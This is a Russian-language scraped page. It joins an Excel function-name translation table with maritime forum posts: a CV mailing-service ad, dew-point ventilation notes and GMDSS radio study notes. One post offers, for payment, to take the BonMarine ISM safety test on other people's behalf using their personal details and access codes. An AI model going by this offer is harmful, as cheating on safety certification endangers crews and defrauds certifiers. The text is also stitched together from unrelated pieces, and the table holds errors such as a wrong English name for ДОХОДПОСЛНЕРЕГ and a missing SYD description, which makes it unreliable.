STDEVA	СТАНДОТКЛОНА	Оценивает стандартное отклонение по выборке, включая числа, текст и логические значения.
STDEVP	СТАНДОТКЛОНП	Определяет стандартное отклонение по генеральной совокупности.
STDEVPA	СТАНДОТКЛОНПА	Определяет стандартное отклонение по генеральной совокупности, включая числа, текст и логические значения.
STEYX	СТОШYX	Определяет стандартную ошибку предсказанных значений y для каждого значения x в регрессии.
TDIST	СТЬЮДРАСП	Выдает t-распределение Стьюдента.
TINV	СТЬЮДРАСПОБР	Выдает обратное t-распределение Стьюдента.
TREND	ТЕНДЕНЦИЯ	Находит значения в соответствии с линейным трендом.
TRIMMEAN	УРЕЗСРЕДНЕЕ	Находит среднее внутренности множества данных.
TTEST	ТТЕСТ	Находит вероятность, соответствующую критерию Стьюдента.
VAR	ДИСП	Оценивает дисперсию по выборке.
VARA	ДИСПА	Оценивает дисперсию по выборке, включая числа, текст и логические значения.
VARP	ДИСПР	Вычисляет дисперсию для генеральной совокупности.
VARPA	ДИСПРА	Вычисляет дисперсию для генеральной совокупности, включая числа, текст и логические значения.
WEIBULL	ВЕЙБУЛЛ	Выдает распределение Вейбулла.
ZTEST	ZТЕСТ	Выдает двустороннее P-значение z-теста.

Текстовые функции – Text
BAHTTEXT	БАТТЕКСТ	Преобразует чисто в текст (бат) на тайском языке
CHAR	СИМВОЛ	Определяет знак по заданному коду.
CLEAN	ПЕЧСИМВ	Удаляет все непечатаемые знаки из текста.
CODE	КОДСИМВ	Определяет числовой код первого знака в текстовой строке.
CONCATENATE	СЦЕПИТЬ	Объединяет несколько текстовых элементов в один.
DOLLAR	РУБЛЬ	Преобразует число в текст, используя денежный формат доллара.
EXACT	СОВПАД	Проверяет идентичность двух текстов.
FIND	НАЙТИ	Ищет вхождение одного текста в другой (с учетом регистра).
FIXED	ФИКСИРОВАННЫЙ	Форматирует число и преобразует его в текст с заданным числом десятичных знаков.
LEFT	ЛЕВСИМВ	Выдает нужное количество самых левых знаков в строке.
LEN	ДЛСТР	Определяет количество знаков в текстовой строке.
LOWER	СТРОЧН	Делает все буквы в тексте строчными.
MID	ПСТР	Выдает определенное число знаков из строки текста, начиная с указанной позиции.
PROPER	ПРОПНАЧ	Делает прописной первую букву в каждом слове текста.
REPLACE	ЗАМЕНИТЬ	Заменяет знаки в тексте.
REPT	ПОВТОР	Повторяет текст заданное число раз.
RIGHT	ПРАВСИМВ	Выдает самые правые знаки текстовой строки.
SEARCH	ПОИСК	Ищет вхождение одного текста в другой (без учета регистра).
SUBSTITUTE	ПОДСТАВИТЬ	Заменяет в текстовой строке старый текст новым.
T	Т	Преобразует аргумент в текст.
TEXT	ТЕКСТ	Форматирует число и преобразует его в текст.
TRIM	СЖПРОБЕЛЫ	Удаляет из текста лишние пробелы.
UPPER	ПРОПИСН	Делает все буквы в тексте прописными.
VALUE	ЗНАЧЕН	Преобразует текстовый аргумент в число.

Соответствие русских и английских формул в Excel

Функции баз данных – Database
БДДИСП	DVAR	Оценивает дисперсию по выборке из выделенных записей базы данных
БДДИСПП	DVARP	Вычисляет дисперсию по генеральной совокупности из выделенных записей базы данных.
БДПРОИЗВЕД	DPRODUCT	Перемножает значения определенного поля в записях базы данных, удовлетворяющих условию.
БДСУММ	DSUM	Суммирует числа в поле для записей базы данных, удовлетворяющих условию.
БИЗВЛЕЧЬ	DGET	Извлекает из базы данных одну запись, удовлетворяющую заданному условию.
БСЧЁТ	DCOUNT	Подсчитывает количество числовых ячеек в базе данных.
БСЧЁТА	DCOUNTA	Подсчитывает количество непустых ячеек в базе данных.
ДМАКС	DMAX	Находит максимальное значение среди выделенных записей базы данных.
ДМИН	DMIN	Находит минимальное значение среди выделенных записей базы данных.
ДСРЗНАЧ	DAVERAGE	Вычисляет среднее значение выбранных записей базы данных.
ДСТАНДОТКЛ	DSTDEV	Оценивает стандартное отклонение по выборке из выделенных записей базы данных.
ДСТАНДОТКЛП	DSTDEVP	Вычисляет стандартное отклонение по генеральной совокупности из выделенных записей базы данных.
Функции даты и времени – Date & Time
ВРЕМЗНАЧ	TIMEVALUE	Преобразует время из текстового формата в числовой формат.
ВРЕМЯ	TIME	Выдает заданное время в числовом формате.
ГОД	YEAR	Находит год для заданной даты.
ДАТА	DATE	Возвращает заданную дату в числовом формате Microsoft Excel.
ДАТАЗНАЧ	DATEVALUE	Преобразует дату из текстового формата в числовой.
ДАТАМЕС	EDATE	Находит дату, отстоящую на заданное число месяцев вперед или назад от начальной даты.
ДЕНЬ	DAY	Преобразует дату в числовом формате в день месяца.
ДЕНЬНЕД	WEEKDAY	Преобразует дату в числовом формате в день недели.
ДНЕЙ360	DAYS360	Вычисляет количество дней между двумя датами на основе 360-дневного года.
ДОЛЯГОДА	YEARFRAC	Возвращает долю года, которую составляет количество дней между начальной и конечной датами.
КОНМЕСЯЦА	EOMONTH	Определяет дату для последнего дня месяца, отстоящего вперед или назад на заданное число месяцев.
МЕСЯЦ	MONTH	Преобразует дату в числовом формате в месяцы.
МИНУТЫ	MINUTE	Преобразует дату в числовом формате в минуты.
НОМНЕДЕЛИ	WEEKNUM	Определяет номер рабочей недели года для указанной даты.
РАБДЕНЬ	WORKDAY	Находит дату, отстоящую от данной на заданное количество рабочих дней.
СЕГОДНЯ	TODAY	Выдает текущую дату.
СЕКУНДЫ	SECOND	Преобразует дату в числовом формате в секунды.
ТДАТА	NOW	Выдает текущую дату и время.
ЧАС	HOUR	Преобразует дату в числовом формате в часы.
ЧИСТРАБДНИ	NETWORKDAYS	Находит количество рабочих дней между двумя датами.
Инженерные функции – Engineering
БЕССЕЛЬ.I	BESSELI	Возвращает модифицированную функцию Бесселя In(x).
БЕССЕЛЬ.J	BESSELJ	Возвращает функцию Бесселя Jn(x).
БЕССЕЛЬ.K	BESSELK	Возвращает модифицированную функцию Бесселя Kn(x).
БЕССЕЛЬ.Y	BESSELY	Возвращает функцию Бесселя Yn(x).
ВОСЬМ.В.ДВ	OCT2BIN	Преобразует восьмеричное число в двоичное.
ВОСЬМ.В.ДЕС	OCT2DEC	Преобразует восьмеричное число в десятичное.
ВОСЬМ.В.ШЕСТН	OCT2HEX	Преобразует восьмеричное число в шестнадцатеричное.
ДВ.В.ВОСЬМ	BIN2OCT	Преобразует двоичное число в восьмеричное.
ДВ.В.ДЕС	BIN2DEC	Преобразует двоичное число в десятичное.
ДВ.В.ШЕСТН	BIN2HEX	Преобразует двоичное число в шестнадцатеричное.
ДВФАКТР	FACTDOUBLE	Вычисляет двойной факториал числа.
ДЕЛЬТА	DELTA	Проверяет равенство двух значений.
ДЕС.В.ВОСЬМ	DEC2OCT	Преобразует десятичное число в восьмеричное.
ДЕС.В.ДВ	DEC2BIN	Преобразует десятичное число в двоичное.
ДЕС.В.ШЕСТН	DEC2HEX	Преобразует десятичное число в шестнадцатеричное.
ДФОШ	ERFC	Возвращает дополнительную функцию ошибки.
КОМПЛЕКСН	COMPLEX	Преобразует коэффициенты при вещественной и мнимой частях комплексного числа в комплексное число.
МНИМ.ABS	IMABS	Возвращает абсолютную величину (модуль) комплексного числа.
МНИМ.COS	IMCOS	Возвращает косинус комплексного числа.
МНИМ.EXP	IMEXP	Возвращает экспоненту комплексного числа.
МНИМ.LN	IMLN	Возвращает натуральный логарифм комплексного числа.
МНИМ.LOG10	IMLOG10	Возвращает обычный (десятичный) логарифм комплексного числа.
МНИМ.LOG2	IMLOG2	Возвращает двоичный логарифм комплексного числа.
МНИМ.SIN	IMSIN	Возвращает синус комплексного числа.
МНИМ.АРГУМЕНТ	IMARGUMENT	Возвращает значение аргумента комплексного числа (тета) — угол, выраженный в радианах.
МНИМ.ВЕЩ	IMREAL	Возвращает коэффициент при вещественной части комплексного числа.
МНИМ.ДЕЛ	IMDIV	Возвращает частное от деления двух комплексных чисел.
МНИМ.КОРЕНЬ	IMSQRT	Возвращает значение квадратного корня из комплексного числа.
МНИМ.ПРОИЗВЕД	IMPRODUCT	Возвращает произведение двух комплексных чисел.
МНИМ.РАЗН	IMSUB	Возвращает разность двух комплексных чисел.
МНИМ.СОПРЯЖ	IMCONJUGATE	Возвращает комплексно-сопряженное комплексное число.
МНИМ.СТЕПЕНЬ	IMPOWER	Возвращает комплексное число, возведенное в целую степень.
МНИМ.СУММ	IMSUM	Возвращает сумму комплексных чисел.
МНИМ.ЧАСТЬ	IMAGINARY	Возвращает коэффициент при мнимой части комплексного числа.
ПОРОГ	GESTEP	Проверяет, не превышает ли данное число порогового значения.
ПРЕОБР	CONVERT	Преобразует число из одной системы мер в другую.
ФОШ	ERF	Возвращает функцию ошибки.
ШЕСТН.В.ВОСЬМ	HEX2OCT	Преобразует шестнадцатеричное число в восьмеричное.
ШЕСТН.В.ДВ	HEX2BIN	Преобразует шестнадцатеричное число в двоичное.
ШЕСТН.В.ДЕС	HEX2DEC	Преобразует шестнадцатеричное число в десятичное.
Финансовые функции – Financial
АМОРУВ	AMORLINC	Вычисляет величину амортизации для каждого отчетного периода (французская система бухучета).
АМОРУМ	AMORDEGRC	Вычисляет величину амортизации для каждого периода, используя коэффициент амортизации (французская система бухучета).
АПЛ	SLN	Вычисляет величину непосредственной амортизации имущества за один период.
АСЧ	SYD
БЗРАСПИС	FVSCHEDULE	Вычисляет будущее значение начального вклада при изменяющихся сложных процентных ставках.
БС	FV	Вычисляет будущее значение вклада.
ВСД	IRR	Вычисляет внутреннюю ставку доходности (отдачи) для серии потоков денежных средств.
ДАТАКУПОНДО	COUPPCD	Выдает предыдущую дату купона перед датой соглашения.
ДАТАКУПОНПОСЛЕ	COUPNCD	Находит следующую дату купона после даты соглашения.
ДДОБ	DDB	Вычисляет величину амортизации имущества для указанного периода при использовании метода двукратного учета амортизации или иного явно указанного метода.
ДЛИТ	DURATION	Находит ежегодную продолжительность действия ценных бумаг с периодическими выплатами по процентам.
ДНЕЙКУПОН	COUPDAYS	Определяет число дней в периоде купона, который содержит дату соглашения.
ДНЕЙКУПОНДО	COUPDAYBS	Определяет количество дней между началом периода купона и датой соглашения.
ДНЕЙКУПОНПОСЛЕ	COUPDAYSNC	Находит число дней от даты соглашения до срока следующего купона.
ДОХОД	YIELD	Вычисляет доход от ценных бумаг, по которым производятся периодические выплаты процентов.
ДОХОДКЧЕК	TBILLYIELD	Вычисляет доход по казначейскому чеку.
ДОХОДПЕРВНЕРЕГ	ODDFYIELD	Находит доход по ценным бумагам с нерегулярным первым периодом.
ДОХОДПОГАШ	YIELDMAT	Вычисляет годовой доход от ценных бумаг, процент по которым выплачивается в срок погашения.
ДОХОДПОСЛНЕРЕГ	ODDFYIELD	Определяет доход по ценным бумагам с нерегулярным последним периодом.
ДОХОДСКИДКА	YIELDDISC	Вычисляет годовой доход по ценным бумагам, на которые сделана скидка. Пример — казначейские чеки.
ИНОРМА	INTRATE	Определяет ставку доходности полностью обеспеченной ценной бумаги.
КПЕР	NPER	Определяет общее количество периодов выплаты для данной ссуды.
МВСД	MIRR	Определяет внутреннюю ставку доходности, при которой положительные и отрицательные денежные потоки имеют разную ставку.
МДЛИТ	MDURATION	Определяет модифицированную длительность Маколея для ценных бумаг с предполагаемой номинальной стоимостью 100 рублей.
НАКОПДОХОД	ACCRINT	Определяет накопленный доход по ценным бумагам с периодической выплатой процентов.
НАКОПДОХОДПОГАШ	ACCRINTM	Находит накопленный доход по ценным бумагам, процент по которым выплачивается в срок вступления в силу.
НОМИНАЛ	NOMINAL	Определяет номинальную годовую процентную ставку.
ОБЩДОХОД	CUMPRINC	Вычисляет общую выплату по займу между двумя периодами.
ОБЩПЛАТ	CUMIPMT	Вычисляет общую выплату, произведенную между двумя периодическими выплатами.
ОСПЛТ	PPMT	Вычисляет величину выплат на основной капитал для вклада в заданный период.
ПЛТ	PMT	Вычисляет величину выплаты по ссуде за один период.
ПОЛУЧЕНО	RECEIVED	Вычисляет сумму, полученную в срок вступления в силу полностью обеспеченных ценных бумаг.
ПРОЦПЛАТ	ISPMT	Вычисляет выплаты за указанный период инвестиции.
ПРПЛТ	IMPT	Вычисляет величину выплаты прибыли на вложения за данный период.
ПС	PV	Вычисляет приведенную (к настоящему моменту) стоимость инвестиции.
ПУО	VDB	Вычисляет величину амортизации имущества для явно указанного или соответствующего периода при использовании метода разового учета амортизации.
РАВНОКЧЕК	TBILLEQ	Вычисляет эквивалентный облигации доход по казначейскому чеку.
РУБЛЬ.ДЕС	DOLLARDE	Преобразует цену в рублях, выраженную в виде дроби, в цену в рублях, выраженную десятичным числом.
РУБЛЬ.ДРОБЬ	DOLLARFR	Преобразует цену в рублях, выраженную десятичным числом, в цену в рублях, выраженную в виде дроби.
СКИДКА	DISC	Вычисляет норму скидки для ценных бумаг.
СТАВКА	RATE	Вычисляет процентную ставку по аннуитету за один период.
ФУО	DB	Вычисляет амортизацию имущества на заданный период, используя метод постоянного учета амортизации.
ЦЕНА	PRICE	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, по которым производится периодическая выплата процентов.
ЦЕНАКЧЕК	TBILLPRICE	Вычисляет цену за 100 рублей нарицательной стоимости для казначейского чека.
ЦЕНАПЕРВНЕРЕГ	ODDPRICE	Находит цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным первым периодом.
ЦЕНАПОГАШ	PRICEMAT	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, по которым выплачивается прибыль в момент вступления в силу.
ЦЕНАПОСЛНЕРЕГ	ODDLPRICE	Определяет цену за 100 рублей нарицательной стоимости ценных бумаг с нерегулярным последним периодом.
ЦЕНАСКИДКА	PRICEDISC	Вычисляет цену за 100 рублей нарицательной стоимости ценных бумаг, на которые сделана скидка.
ЧИСЛКУПОН	COUPNUM	Определяет количество купонов, которые могут быть оплачены между датой соглашения и сроком вступления в силу.
ЧИСТВНДОХ	XIRR	Вычисляет внутреннюю ставку доходности запланированных непериодических денежных потоков.
ЧИСТНЗ	XNPV	Вычисляет чистую текущую стоимость инвестиции, вычисляемую на основе ряда поступлений наличных, которые не обязательно являются периодическими.
ЧПС	NPV	Вычисляет чистую приведенную стоимость инвестиции, основанной на серии периодических денежных потоков и ставке дисконтирования.
ЭФФЕКТ	EFFECT	Вычисляет действующие ежегодные процентные ставки.

1SMP.COM Секреты эффективной рассылки анкеты моряка CV Application Form

Seamakerpost — Mon, 19 Nov 2018 13:35:36 GMT

Как должна работать рассылка, чтобы ее открыли в крюинговой компании? На сегодняшний день рассылка анкеты моряка CV Application Form стремительно набирает популярность не только среди начинающих моряков, но и среди тех, кто уже давно работает в море.

Как это работает, и главное – КАК ЭТО ДОЛЖНО РАБОТАТЬ, – рассказывают сотрудники компании SeaMakerPost: «Мы довольно часто слышим от моряков истории о том, что они уже заказывали услугу по рассылке анкет в других «компаниях» и в итоге не получали ни звонков, ни писем от крюинговых агентств. Именно из-за таких «компаний» и сложилось не очень приятное мнение о данной услуге. И знаете, это достаточно справедливое суждение. Ведь если те кто предлагают услуги по рассылке CV Application Form действительно отправляют письма хотя бы на 300-500 адресов, то должен ответить хоть кто-то, верно? Всё дело в том, что многие «компании» совершают так называемую «автоматическую рассылку по e-mail адресам».

Данный способ рассылки уже много лет не актуален и совершенно не работает, вследствие чего письма просто попадают в СПАМ. В этом и заключается ОСНОВНАЯ ПРИЧИНА ОТСУТСТВИЯ ОТКЛИКА от крюинговых агентств». Будьте осторожны с сервисами, сайтами и «компаниями» у которых нет ни номеров телефонов, ни почты, ни живого общения с Вами - они могут оказаться аферистами. Чтобы действительно помогать морякам и эффективно работать в сфере рассылки CV Application Form, компания SeaMakerPost пользуется достаточно большим пакетом различных программ и имеет собственные SMTP сервера, которые позволяют доставлять письма непосредственно в папку «Входящие».

А программы, которыми пользуются сотрудники SeaMakerPost , способны эффективно ОБХОДИТЬ СПАМ ФИЛЬТРЫ, отслеживать открытие и прочтение писем крюинговыми компаниями, что позволяет сделать рассылку ещё более эффективной! rassylka, application$CUT$ В компании SeaMakerPost работают исключительно бывшие моряки либо люди имеющие морское образование, что повышает качество и оперативность выполнения работы. Концепция создания компании SeaMakerPost основывалась на том, чтобы помочь найти работу каждому из моряков, несмотря на его опыт, знания, возраст либо причину перерыва морской практики.

Именно поэтому сотрудники SeaMakerPost разработали различные предложения, в которых собрано только то количество крюинговых компаний, которое необходимо для наиболее эффективного отклика на представленную Вами должность. «При создании официального сайта компании, мы старались сделать его как можно более понятным, читабельным и информативным. На нём вы сможете ознакомится с нашими предложениями, воспользоваться формой обратной связи или просто позвонить по номерам , указанным в разделе «Контакты».

А операторы нашего сервиса всегда готовы выслушать Вас и дать ответы на интересующие Вас вопросы!», - рассказывают специалисты компании. Чтобы получить консультацию и заказать рассылку – заходите на сайт https://www.1SMP.com - Профессиональная рассылка анкеты моряка CV Application Form. Или звоните по телефонам: +38 (097) 742-69-74 (доступен Viber, Telegram, WhatsApp) +38 (099) 107-07-20 С 10-00 до 18-00 (Выходной: Суббота Воскресенье)

BonMarine ISM TEST Familiarization with Golden port Safety Management

chibis — Thu, 19 Oct 2017 04:53:58 GMT

Тест on-line BonMarine ISM TEST cдам за вас, ваш результат будет выше 70% (Проходной процент 70)
от вас требуется данные:

На английском фамилия и имя дата месяц и год рождения и код доступа который вам дали на лекции на Пастера 16 $CUT$
оплата 800гр. по результату сдачи теста на карточку Приват Банка
тел. 772-13-57
050-616-78-67, 067-172-75-42
сайт сдачи теста http://bonmarine.net/tests

Dew Point- рассчёт по формуле находим Точку россы вентилируем или не винтилируем трюма

chibis — Fri, 26 Feb 2016 10:38:03 GMT

Очень быстрый расчёт Dew Point - (точка росы; температура таяния; температура конденсации);

$CUT$

ПРИМЕР:

DRY WET HUMIDITY

29 25 74%

Основные требования по перевозке груза можно сформулировать следующим образом:

— температура груза должна быть равномерной по всей массе штабеля груза и должна соответствовать температуре окружающей среды; влагосодержание воздуха в грузовых трюмах должно соответствовать равновесному влагосодержанию перевозимого груза;

— температура точки росы воздуха ( в грузовых помещениях должна быть ниже температуры груза и температуры ограждающих внутренних поверхностей конструкций судна (борта, палубы, переборки). Режим работы вентиляции трюмов всегда определяется характером изменений климатических условий во время рейса.

Рекомендуется вентилировать грузовые помещения при условиях:

t _г – θ_min < t°_т > t _н - θ_min ;

t°_т > t°_кр - θ_min; θ_т < θ_min

Не рекомендуется вентилировать грузовые помещения воздухом в тех случаях, когда:

t°_в > t _г - θ_min; θ_в < θ_min

t_в> t°_г + θ_min; θ_в< θ_г + θ_min

Здесь θ_min — минимальный температурный запас воздуха, предотвращающий отпотевание при резких понижениях температуры воздуха, который рекомендуется принимать равным 3 °С.

Вентиляция трюмов наружным (вентиляционным) воздухом нецелесообразна:

если точка росы вентиляционного воздуха равна или больше температуры груза t°_в > t _г

На участке пути, где t°_нв < t_г, вентиляция трюмов возможна.

На участке пути, где t°_нв > t_г, вентиляция наружным воздухом приведет к увлажнению груза.

МИНИМАЛЬНЫЕ ЗНАНИЯ ДЛЯ СДАЧИ ГМССБ(GMDSS) В ВОПРОСАХ И ОТВЕТАХ (Часть 2)

chibis — Thu, 01 Oct 2015 13:56:50 GMT

Координация радиообмена при бедствии

Координация обмена в случае бедствия осуществляется RCC, ответственным за проведение операции по поиску и спасанию; RCC может поручить координацию обмена в случае бедствия другой станции (судовой или береговой). Судно или CS, координирующие обмен при бедствии, должны установить контакт с координатором действий по поиску и спасанию (RCC) и передать всю имеющуюся информацию.

RCC или станция, координирующие обмен по бедствию могут обязать к молчанию станции, которые причиняют помехи аварийному обмену.

Такое указание может быть адресовано всем станциям или u1090 только одной станции в зависимости от обстоятельств. В радиотелефонии при этом используется сигнал SEELONCE MAYDAY, произносимый, как французское выражение "silence m'aider" (силанс мэдэ). Всем станциям, которые не принимают участие в аварийном обмене и не терпят бедствия, запрещено вести передачу на тех частотах, на которых ведется обмен по бедствию до тех пор, пока не будет передано сообщение о том, что нормальная работа может быть возобновлена. Судовая станция, следящая за радиообменом по бедствию, может продолжать свою работу в том случае, если она не создает помехи обмену по бедствию.Когда обмен по бедствию завершен, станция, передавшая сигнал SEELONCE MAYDAY, должна передать сообщение, что обмен по бедствию завершен. В радиотелефонии при этом используется сигнал SEELONCE FEENEE, произносимый как французское выражение "silence fini" (силанс фини). $CUT$

Указание о завершении обмена при бедствии в радиотелефонии

- сигнал бедствия MAYDAY;

- вызов "ALL STATIONS" или CQ (произносимое как CHARLE QUEBEC), повторенный три раза;

- слова "This is (или DE, произносимых как DELTA ECHO в случае языковых

затруднений) и позывного или любого другого опознавательного сигнала передающей станции;

- позывного сигнала, или другого опознавательного сигнала станции, передающей указания;

- время передачи сообщения;

- названия и позывного сигнала судна, терпящего бедствие;

- сигнала SEELONCE FEENEE.

Международная спутниковая система КОСПАС-SARSAT

Международная спутниковая система КОСПАС-SARSAT является одной из основных

частей ГМССБ и предназначена для обнаружения и определения местоположения судов,

самолетов, других объектов, потерпевших аварию. Система КОСПАС-SARSAT одобрена

Международной морской организацией (ИМО) и Международной организацией

гражданской авиации (ИКАО). Система образована в 1977 году на основе

международного сотрудничества СССР (КОСПАС) с одной стороны и США, Канады и

Франции (SARSAT) с другой. Функционирование КОСПАС-SARSAT началось с запуска

30 июня 1982 года российского спутника КОСПАС-1.

Система КОСПАС-SARSAT состоит из следующих основных комплексов:

1. Космический сегмент.

2. Сеть станций приема и обработки информации (СПОИ).

3. Сеть Координационных центров системы (КЦС).

4. Аварийные радиобуи (АРБ).

Система осуществляет радиоконтроль в аварийном диапазоне частот 406,0 – 406,1 МГц

на 406 МГц – сигналы с дискретной, цифровой информацией. Географическое положение

излучающих АРБ определяется системой автоматически с использованием эффекта

Доплера с точностью не хуже 5 км для радиобуев, работающих в диапазоне 406 МГц.

Доплеровское определение местоположения дает два решения для каждого АРБ: истинное

и зеркальное относительно наземной проекции трассы спутника. Эта неоднозначность

решается путем расчетов, принимая во внимание эффект вращения Земного шара.

1. Космический сегмент.

В соответствии с Межправительственным соглашением космический сегмент системы

должен состоять, как минимум, из четырех космических аппаратов, расположенных на

приполярных круговых орбитах. В настоящее время функционируют восемь спутников системы.

Космические аппараты КОСПАС-SARSAT совершают оборот вокруг Земли примерно

за 100 минут, при этом обозревается участок поверхности диаметром около 5000 км.

Бортовая аппаратура КОСПАС-SARSAT обеспечивает работу в двух режимах: в режиме реального времени и глобальном режиме.

2. Станции приема и обработки информации (СПОИ)

СПОИ осуществляет прием ретранслируемых ИСЗ сигналов, их обработку с целью

определения местоположения радиобуев и передает информацию соответствующему Координационному центру системы (КЦС).

Прием сигналов на СПОИ осуществляется при появлении ИСЗ в зоне ее видимости.

Время взаимной видимости ИСЗ-СПОИ составляет до 15 минут. Вся обработка принятых

от ИСЗ сигналов осуществляется на СПОИ в автоматическом режиме и занимает 10÷15

минут. Обработка принятой цифровой информации (частота 406 МГц) производится с

помощью цифровых процессоров, а по аналоговым сигналам, принятым на 121,5 МГц,

производится расчет доплеровской кривой, которая позволяет осуществить определение

географических координат радиомаяка.

3. Аварийные радиобуи.

Радиобуи системы предназначены для передачи аварийных сигналов и сигналов о

бедствии и представляют собой радиопередатчики, излучающие на частотах 406,025 и

121,5 МГц, которые применяют морские и авиационные пользователи.

Радиобуи 406 МГц были специально разработаны для спутникового доплеровского

определения местоположения. АРБ этого типа излучают каждые 50 секунд посылку

мощностью в 5 Вт с длительностью 0,440 м/с. Несущая модулирована по фазе, а посылка

содержит информацию в цифровом виде. В сообщении АРБ-406 содержатся данные о

стране регистрации, идентификационный номер радиобуя, по которому может быть

опознан объект, где он установлен и другая информация.

Одним из главных направлений развития системы является проведение работ по

использованию геостационарных ИСЗ для ретрансляции сигналов, передаваемых

радиобуями на частоте 406 МГц. В результате были разработаны приемные комплексы,

которые позволили успешно принимать через ГеоИСЗ и обрабатывать сигналы

существующего парка АРБ-406, несмотря на их малую выходную мощность.

На геостационарной орбите в настоящее время развернуты над Атлантикой и Тихим

океаном два метеорологических спутника США с точками стояния 75ºW и 135ºE, на борту

которых имеются ретрансляторы 406 МГц, а также индийский и японский спутник.

Для более точного определения местоположения аварийного объекта в рамках

программы КОСПАС-SARSAT были разработаны и внедрены мероприятия, позволяющие

вводить в цифровое сообщение АРБ-406 данные от навигационных приемников систем

GPS/Navstar (США) и Глонасс (Россия).

Характеристики радиоволн

В морской радиослужбе передача, излучение или прием любого рода информации

(знаки, символы, печатный текст, звуки и т.п.) осуществляется посредством радиоволн. В

Международной конвенции электросвязи дается следующее определение радиоволн:

электромагнитные волны, частоты которых произвольно ограничены частотами ниже

3000 ГГц, распространяющиеся в пространстве без искусственного волновода.

В период становления радиосвязи было принято выражать величины рабочих волн

станций в метрах, сантиметрах и миллиметрах. Однако впоследствии в связи с резким

увеличением числа радиостанций их волны стали различаться по длине очень

незначительно, что привело к необходимости указывать вместо длин волн рабочие

частоты радиостанций. Частота выражается в герцах (Гц), килогерцах (кГц), мегагерцах

(МГц) или гигагерцах (ГГц). Длина и частота радиоволны обратно пропорциональны друг

другу, поэтому соответствие между частотой и длиной волны выражается следующей

формулой:

F = C/L,

где: F – радиочастота, Гц,

С – скорость света, равная 300 000 км/с,

L – длина волны, м.

При практическом использовании для взаимосвязи частоты и длины радиоволны

можно использовать следующую формулу:

F (МГц) = 300/L (м)

Разбивка частот на диапазоны и поддиапазоны

В каждом из частотных диапазонов для использования в МПС выделены полосы

частот. Радиочастотный спектр подразделяется на 9 диапазонов частот.

№ диап.

Условное обозначение

Диапазон частот

Длина волны

Метрическое подразделение

4 ОНЧ (VLF) 3÷30 кГц 10÷100 км Мириаметровые

5 НЧ (LF) 30÷300 кГц 1÷10 км Километровые

6 СЧ (MF) 300÷3000 кГц 100÷1000 м Гектометровые

7 ВЧ (HF) 3÷30 МГц 10÷100 м Декаметровые

8 ОВЧ (VHF) 30÷300 МГц 1÷10 м Метровые

9 УВЧ (UHF) 300÷3000 МГц 1÷10 дм Дециметровые

10 СВЧ (SHF) 3÷30 ГГц 1÷10 см Сантиметровые

11 КВЧ (EHF) 30÷300 ГГц 1÷10 мм Миллиметровые

12 ГВЧ 00÷3000 ГГц 0.1÷1 мм Децимиллиметровые

В неофициальной терминологии эти полосы имеют следующие названия:

· ультракороткие волны (УКВ): 156÷174 МГц;

· средние волны (СВ): 405÷526.5 кГц;

· промежуточные волны (ПВ): 1605÷4000 кГц;

· короткие волны (КВ): 4÷27,5 МГц (в данном диапазоне используются выделенные для

МПС частоты в поддиапазонах 4, 6, 8, 12, 16, 18/19, 22 и 25/26 МГц).

Распространение радиоволн

Для установления устойчивой радиосвязи надо правильно выбрать диапазон используемых частот.

Расстояние, на котором возможно осуществление радиосвязи, зависит от выбранной

частоты, мощности передатчика, типа и размещения антенной системы, чувствительности

приемника, условий распространения радиоволн. Для конкретного судового оборудования

основным фактором, определяющим дальность связи, является выбранная частота (длина волны).

Радиоволны распространяются двумя путями: непосредственно вдоль земной

поверхности (поверхностные волны) и под углом к поверхности земли (пространственные волны).

Поверхностные радиоволны распространяются на большие расстояния за счет

дифракции, т.е. способности радиоволн огибать кривизну земли.

Пространственные радиоволны – это радиоволны, которые или отражаются от

ионосферы и возвращаются на землю, или уходят в космическое пространство.

Атмосфера состоит из следующих частей: нижняя, наиболее плотная часть называется

тропосферой (10÷12 км), выше расположена стратосфера (12÷60 км), далее находится ионосфера (60÷400 км).

Ионосфера характеризуется очень малой плотностью газа, молекулы которого под

действием солнечной радиации ионизируются, т.е. распадаются на ионы и свободные

электроны. Ионизированный газ обладает свойством электропроводности и может отражать радиоволны.

Ионосфера состоит из четырех максимумов ионизации, называемых условно слоями и

обозначаемых D (50÷60 км), E (90÷130 км), F1 (200÷300 км) и F2 (300÷400 км). Ионизация

различна в летнее и зимнее время и изменяется в течение суток. Слои D и Е существуют только в дневное время.

Более низкие частоты отражаются нижними слоями ионосферы, а более высокие

частоты проходят сквозь нижние и отражаются более высокими слоями. Радиоволны

будут отражаться только в том случае, если частота не будет превышать некоторого

определенного значения, называемого критической частотой fкр. Волны, частота которых

выше критической, не отражаются от ионосферы, а пронизывают этот слой. Частоты

выше 30 МГц проходят сквозь все слои атмосферы.

Гектометровые волны (ПВ) распространяются с заметным поглощением энергии

землей и ионосферой (слой D). Поэтому дальность действия гектометровых волн

значительно зависит от времени суток и времени года. В ночное время радиоволны

отражаются от слоя F, поэтому сигналы принимаются как за счет поверхностных, так и за

счет пространственных волн. На условия распространения ПВ влияет также время года.

Это объясняется тем, что, во-первых, поглощение ПВ при отражении от ионосферы в

зимнее время уменьшается, так как уменьшается ионизация нижних слоев ионосферы, и,

во-вторых, в летние месяцы значительно возрастает влияние атмосферных помех. Средние

волны в основном используются для связи на расстоянии до 100÷150 миль.

Декаметровые волны (КВ) распространяются так же, как и ПВ, с помощью

поверхностного и пространственного излучений. На условия распространения КВ

большое влияние оказывает время суток, время года, одиннадцатилетний период

солнечной активности и географическое расположение линий радиосвязи. В дневное

время более низкие частоты КВ-диапазона сильно поглощаются слоями D и Е, а ночью,

когда ионизация слабее, более высокие частоты слабо отражаются от слоя F, проходя

сквозь него. Поэтому для связи днем используют более высокие частоты (8÷12МГц), а

ночью - более низкие (2÷8 МГц).

Особенность распространения КВ зависит также от возникновения особых явлений, к

которым относятся замирание радиосигналов и наличие зон молчания; радиосвязь может

также нарушиться из-за возмущений в ионосфере. Наибольшее число ионосферных

возмущений происходит вблизи магнитных полюсов. Короткие волны используются для дальней связи.

Ультракороткие волны (УКВ) распространяются в нижних слоях атмосферы,

тропосфере, только поверхностным лучом почти прямолинейно. Волны короче 10 м (30

МГц) ионосферой не отражаются, а проходят сквозь нее. Они также не огибают земную

поверхность и крупные препятствия. Поэтому эти волны используются для наземной

связи на дистанциях до 20÷30 миль.

Основные преимущества УКВ – возможность одновременной работы без взаимных

помех большого количества радиостанций и хорошая помехозащищенность во время

ионосферных возмущений.

